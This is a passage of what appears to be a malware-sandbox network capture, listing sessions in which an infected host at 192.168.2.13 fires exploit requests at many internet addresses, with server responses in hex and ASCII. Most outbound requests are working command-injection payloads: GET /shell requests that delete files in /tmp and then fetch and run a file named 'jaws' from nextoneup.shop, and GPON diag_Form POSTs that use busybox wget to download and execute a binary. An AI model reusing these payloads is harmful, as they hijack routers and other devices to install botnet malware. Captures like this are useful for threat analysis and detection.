endpoint. Please send all future requests to this endpoint.</Message><Endpoint>shell.s3.amazonaws.com</Endpoint><Bucket>shell</Bucket><RequestId>NRK23V3AR901WZH7</RequestId><HostId>W5EzrOokNNgYd+VUg2PVhZQqD9oXV5U4SdT5MBz1m7TY4IPc2AD9XX/shhHqdRcZhAKmj3NzELo=</HostId></Error>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1174	192.168.2.13	44084	104.98.233.87	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:37.791640043 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:38.095470905 CEST	530	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 308 Expires: Sun, 14 Apr 2024 02:00:37 GMT Date: Sun, 14 Apr 2024 02:00:37 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 63 62 37 37 35 36 38 26 23 34 36 3b 31 37 31 33 30 36 30 30 33 37 26 23 34 36 3b 61 31 31 34 32 32 65 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 63 62 37 37 35 36 38 26 23 34 36 3b 31 37 31 33 30 36 30 30 33 37 26 23 34 36 3b 61 31 31 34 32 32 65 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.cb77568.1713060037.a11422e<P>https://errors.edgesuite.net/9.cb77568.1713060037.a11422e</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1175	192.168.2.13	37356	121.89.58.33	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:37.818989992 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:38.145188093 CEST	474	IN	HTTP/1.1 403 Forbidden Server: Tengine Date: Sun, 14 Apr 2024 02:00:37 GMT Content-Type: text/html Content-Length: 238 Connection: keep-alive Via: cache27.cn4053[,0] Timing-Allow-Origin: * EagleId: 79593a2117130600379884726e Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0d 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 55 52 4c 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>403 Forbidden</h1><p>You don't have permission to access the URL on this server.<hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1176	192.168.2.13	52868	79.239.43.45	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:37.948385000 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1177	192.168.2.13	43102	37.20.174.215	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:37.948417902 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1178	192.168.2.13	46834	109.164.124.230	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:37.948432922 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1179	192.168.2.13	41506	94.142.39.67	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:37.948441029 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1180	192.168.2.13	39116	109.106.65.4	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:37.948460102 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1181	192.168.2.13	49290	118.49.117.242	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:37.948473930 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1182	192.168.2.13	38794	42.224.33.218	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:37.948476076 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1183	192.168.2.13	54906	202.231.177.149	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:37.948489904 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1184	192.168.2.13	38094	178.48.164.137	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:37.948506117 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1185	192.168.2.13	45188	2.108.221.116	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:37.948553085 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1186	192.168.2.13	58202	212.149.164.52	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:37.948584080 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1187	192.168.2.13	37358	121.89.58.33	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:38.026701927 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:38.368937969 CEST	474	IN	HTTP/1.1 403 Forbidden Server: Tengine Date: Sun, 14 Apr 2024 02:00:38 GMT Content-Type: text/html Content-Length: 238 Connection: keep-alive Via: cache27.cn4053[,0] Timing-Allow-Origin: * EagleId: 79593a2117130600382044879e Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0d 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 55 52 4c 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>403 Forbidden</h1><p>You don't have permission to access the URL on this server.<hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1188	192.168.2.13	42282	158.199.131.36	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:38.635695934 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:38.905550003 CEST	402	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:38 GMT Server: Apache Vary: Accept-Encoding Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1189	192.168.2.13	47970	92.205.173.124	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:38.671897888 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:39.012188911 CEST	499	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 14 Apr 2024 02:00:38 GMT Server: Apache X-Powered-By: PHP/7.2.34 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Location: https://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Vary: Accept-Encoding Content-Length: 0 Keep-Alive: timeout=5 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
1190	192.168.2.13	46060	104.102.21.224	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:38.680095911 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:38.993072987 CEST	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Sun, 14 Apr 2024 02:00:38 GMT Date: Sun, 14 Apr 2024 02:00:38 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 30 66 30 31 30 30 32 26 23 34 36 3b 31 37 31 33 30 36 30 30 33 38 26 23 34 36 3b 61 36 64 33 38 61 39 63 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 61 30 66 30 31 30 30 32 26 23 34 36 3b 31 37 31 33 30 36 30 30 33 38 26 23 34 36 3b 61 36 64 33 38 61 39 63 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.a0f01002.1713060038.a6d38a9c<P>https://errors.edgesuite.net/9.a0f01002.1713060038.a6d38a9c</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1191	192.168.2.13	40596	52.220.154.162	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:38.705770016 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:39.045408964 CEST	320	IN	HTTP/1.1 404 Not Found Server: nginx/1.24.0 Date: Sun, 14 Apr 2024 02:00:38 GMT Content-Type: text/html Content-Length: 153 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.24.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1192	192.168.2.13	44008	118.71.31.48	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:38.992249966 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:39.495157957 CEST	471	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 09:00:38 GMT Server: webserver X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Content-Length: 181 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=8, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6c 6f 63 61 74 65 20 64 6f 63 75 6d 65 6e 74 3a 20 2f 73 68 65 6c 6c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't locate document: /shell</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1193	192.168.2.13	54394	44.239.15.122	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:39.345906019 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1194	192.168.2.13	57014	54.214.93.16	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:39.537950993 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1195	192.168.2.13	48088	186.7.216.19	80

Timestamp	Bytes transferred	Direction	Data
